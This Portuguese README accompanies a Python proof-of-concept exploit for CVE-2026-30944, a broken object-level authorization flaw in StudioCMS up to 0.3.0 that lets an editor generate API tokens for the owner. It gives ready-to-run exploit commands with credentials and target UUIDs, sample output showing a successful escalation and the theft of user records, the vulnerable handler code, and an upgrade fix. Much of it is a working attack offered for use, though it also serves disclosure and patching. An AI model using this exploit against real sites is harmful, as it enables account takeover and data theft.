
Prova de conceito em Python para o CVE-2026-30944, explorando uma vulnerabilidade BOLA no StudioCMS para escalar privilégios por meio da geração insegura de tokens de API.
Escalação de Privilégios no StudioCMS via Geração Insegura de Tokens de API
O endpoint POST /studiocms_api/dashboard/api-tokens no StudioCMS ≤ 0.3.0 permite que qualquer usuário autenticado (no mínimo com papel Editor) gere tokens de API para qualquer outro usuário, incluindo contas owner e admin.
O endpoint aceita um parâmetro user no corpo da requisição especificando o UUID do usuário alvo, mas nunca valida se o usuário solicitante está autorizado a criar tokens em nome desse alvo. Esta é uma vulnerabilidade clássica de Broken Object Level Authorization (BOLA) que resulta em escalação total de privilégios.
┌──────────────┐ POST /api-tokens ┌──────────────┐
│ │ {"user":"<owner-id>"} │ │
│ Atacante │ ─────────────────────────► │ StudioCMS │
│ (Editor) │ │ Servidor │
│ │ ◄───────────────────────── │ │
└──────────────┘ {"token":"eyJhb..."} └──────────────┘
│ │
│ GET /rest/v1/users │
│ Authorization: Bearer <owner-token> │
│ ─────────────────────────────────────────►│
│ │
│ ◄─────────────────────────────────────────│
│ [Dados completos do usuário como Owner] │
│ │
| Campo | Valor |
|---|---|
| CVE | CVE-2026-30944 |
| GHSA | GHSA-667w-mmh7-mrr4 |
| CVSS v3.1 | 8.8 (Alta) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-639: Bypass de Autorização Através de Chave Controlada pelo Usuário |
| CWE (secundário) | CWE-863: Autorização Incorreta |
| MITRE ATT&CK | T1134 — Manipulação de Tokens de Acesso |
| OWASP API | API1:2023 — Broken Object Level Authorization |
| Afetado | studiocms ≤ 0.3.0 |
| Corrigido em | studiocms 0.4.0 |
| Arquivo | Descrição |
|---|---|
cve_2026_30944_poc.py | Script de exploração em Python com modos manual e automatizado |
README.md | Este arquivo |
LICENSE | Licença MIT |
Editorpip install requests colorama
# Gera um token de API para o owner usando uma conta de editor
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
# Salva os resultados em JSON
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--save
# Testa com múltiplos papéis para confirmar a vulnerabilidade
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--auto-test \
--editor-user editor01 \
--editor-pass editorpass \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
| Argumento | Descrição |
|---|---|
-u, --url | URL base do StudioCMS alvo |
--uuid | UUID do usuário alvo (ex.: conta do owner) |
| Argumento | Descrição |
|---|---|
--username | Nome de usuário para autenticação |
--password | Senha para autenticação |
| Argumento | Descrição |
|---|---|
--auto-test | Habilita teste automatizado com múltiplos papéis |
--editor-user | Nome de usuário da conta de editor |
--editor-pass | Senha da conta de editor |
--visitor-user | Nome de usuário da conta de visitante |
--visitor-pass | Senha da conta de visitante |
| Argumento | Descrição |
|---|---|
--save | Salva os resultados em arquivo JSON |
--no-ssl-verify | Desabilita a verificação de certificado SSL |
──────────────────────────────────────────────────────────
FASE 1: Autenticação
──────────────────────────────────────────────────────────
[+] Autenticado como 'editor01'
[*] Usuário da sessão: editor01 (editor)
[*] UUID da sessão: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c
──────────────────────────────────────────────────────────
FASE 2: Escalação de Privilégios
──────────────────────────────────────────────────────────
[*] UUID alvo: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Gerando token de API para o usuário alvo...
[+] Token de API gerado com sucesso!
[!] Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2...
──────────────────────────────────────────────────────────
FASE 3: Verificação
──────────────────────────────────────────────────────────
[*] Verificando acesso do token na API REST...
[+] VULNERABILIDADE CONFIRMADA — Acesso total à API obtido!
[*] Recuperados 9 registros de usuários
──────────────────────────────────────────────────────────
FASE 2: Escalação de Privilégios
──────────────────────────────────────────────────────────
[*] UUID alvo: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Gerando token de API para o usuário alvo...
[*] Acesso negado (403 Forbidden) — endpoint pode estar corrigido
[-] Exploração falhou — token não gerado
O manipulador vulnerável em packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (linhas 16–57) aceita um parâmetro user do corpo JSON e o passa diretamente para a função de geração de token sem verificações de autorização:
// [1] Apenas verifica se o chamador é editor — não PARA QUEM está criando o token
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;
// [2] 'user' do corpo da requisição — sem validação contra a sessão autenticada
const jsonData = yield* readAPIContextJson<{ description: string; user: string }>(ctx);
// [3] Passado diretamente para a geração do token — IDOR
const newToken = yield* sdk.REST_API.tokens.new(jsonData.user, jsonData.description);
O modelo de autorização apenas verifica "o chamador é pelo menos um editor?" em vez de "o chamador está autorizado a criar um token para este usuário específico?"
Atualize o StudioCMS para a versão 0.4.0 ou posterior:
npm install studiocms@latest
Esta ferramenta é fornecida apenas para fins educacionais e de testes de segurança autorizados.